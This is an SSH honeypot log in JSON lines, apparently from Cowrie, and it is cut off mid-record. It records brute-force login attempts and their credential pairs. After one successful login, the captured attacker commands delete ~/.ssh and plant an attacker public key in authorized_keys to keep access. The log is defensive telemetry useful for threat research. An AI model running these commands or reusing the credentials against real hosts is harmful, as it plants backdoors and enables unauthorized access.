{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:25:28.983363Z","src_ip":"190.242.109.42","session":"a57400bc7f9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":46998,"dst_ip":"159.203.135.109","dst_port":22,"session":"43be1434c389","protocol":"ssh","message":"New connection: 103.189.208.13:46998 (159.203.135.109:22) [session: 43be1434c389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:16.521834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:16.526442Z","src_ip":"103.189.208.13","session":"43be1434c389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:16.774616Z","src_ip":"103.189.208.13","session":"43be1434c389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@!@#","message":"login attempt [root/admin@!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:17.797910Z","src_ip":"103.189.208.13","session":"43be1434c389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:19.049372Z","src_ip":"103.189.208.13","session":"43be1434c389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":46252,"dst_ip":"159.203.135.109","dst_port":22,"session":"a46af510b2eb","protocol":"ssh","message":"New connection: 190.242.109.42:46252 (159.203.135.109:22) [session: a46af510b2eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:32.347795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:32.352122Z","src_ip":"190.242.109.42","session":"a46af510b2eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:32.445677Z","src_ip":"190.242.109.42","session":"a46af510b2eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qq1234567890","message":"login attempt [ubuntu/Qq1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:32.836044Z","src_ip":"190.242.109.42","session":"a46af510b2eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:33.928971Z","src_ip":"190.242.109.42","session":"a46af510b2eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":35836,"dst_ip":"10.17.0.5","dst_port":22,"session":"985bf1b3ea81","protocol":"ssh","message":"New connection: 152.244.206.148:35836 (10.17.0.5:22) [session: 985bf1b3ea81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:46.346312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:46.351205Z","src_ip":"152.244.206.148","session":"985bf1b3ea81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:46.489103Z","src_ip":"152.244.206.148","session":"985bf1b3ea81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qw123456.","message":"login attempt [root/Qw123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:47.072962Z","src_ip":"152.244.206.148","session":"985bf1b3ea81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:26:48.212869Z","src_ip":"152.244.206.148","session":"985bf1b3ea81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":36894,"dst_ip":"159.203.135.109","dst_port":22,"session":"3097dba2b285","protocol":"ssh","message":"New connection: 190.242.109.42:36894 (159.203.135.109:22) [session: 3097dba2b285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:27:36.559852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:27:36.564772Z","src_ip":"190.242.109.42","session":"3097dba2b285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:27:36.661300Z","src_ip":"190.242.109.42","session":"3097dba2b285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"0000","message":"login attempt [user1/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:27:37.078970Z","src_ip":"190.242.109.42","session":"3097dba2b285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:27:38.177688Z","src_ip":"190.242.109.42","session":"3097dba2b285","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.247.70","src_port":50106,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd49275c6ae4","protocol":"ssh","message":"New connection: 160.250.247.70:50106 (10.17.0.5:22) [session: cd49275c6ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:23.416562Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:23.868993Z","src_ip":"160.250.247.70","session":"cd49275c6ae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":55770,"dst_ip":"159.203.135.109","dst_port":22,"session":"70664c9ea76a","protocol":"ssh","message":"New connection: 190.242.109.42:55770 (159.203.135.109:22) [session: 70664c9ea76a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:41.514498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:41.518670Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:41.600399Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1qaz!QAZ","message":"login attempt [oracle/1qaz!QAZ] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:41.950069Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.155015Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.158522Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.162027Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.246544Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.448775Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.452440Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.538103Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.542241Z","src_ip":"190.242.109.42","session":"70664c9ea76a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":56098,"dst_ip":"159.203.135.109","dst_port":22,"session":"46a68f7849ef","protocol":"ssh","message":"New connection: 190.242.109.42:56098 (159.203.135.109:22) [session: 46a68f7849ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.623426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.628773Z","src_ip":"190.242.109.42","session":"46a68f7849ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:42.718443Z","src_ip":"190.242.109.42","session":"46a68f7849ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:43.106903Z","src_ip":"190.242.109.42","session":"46a68f7849ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:44.197814Z","src_ip":"190.242.109.42","session":"46a68f7849ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":56608,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1c09cc3575d","protocol":"ssh","message":"New connection: 190.242.109.42:56608 (159.203.135.109:22) [session: b1c09cc3575d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:44.287448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:28:44.292675Z","src_ip":"190.242.109.42","session":"b1c09cc3575d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"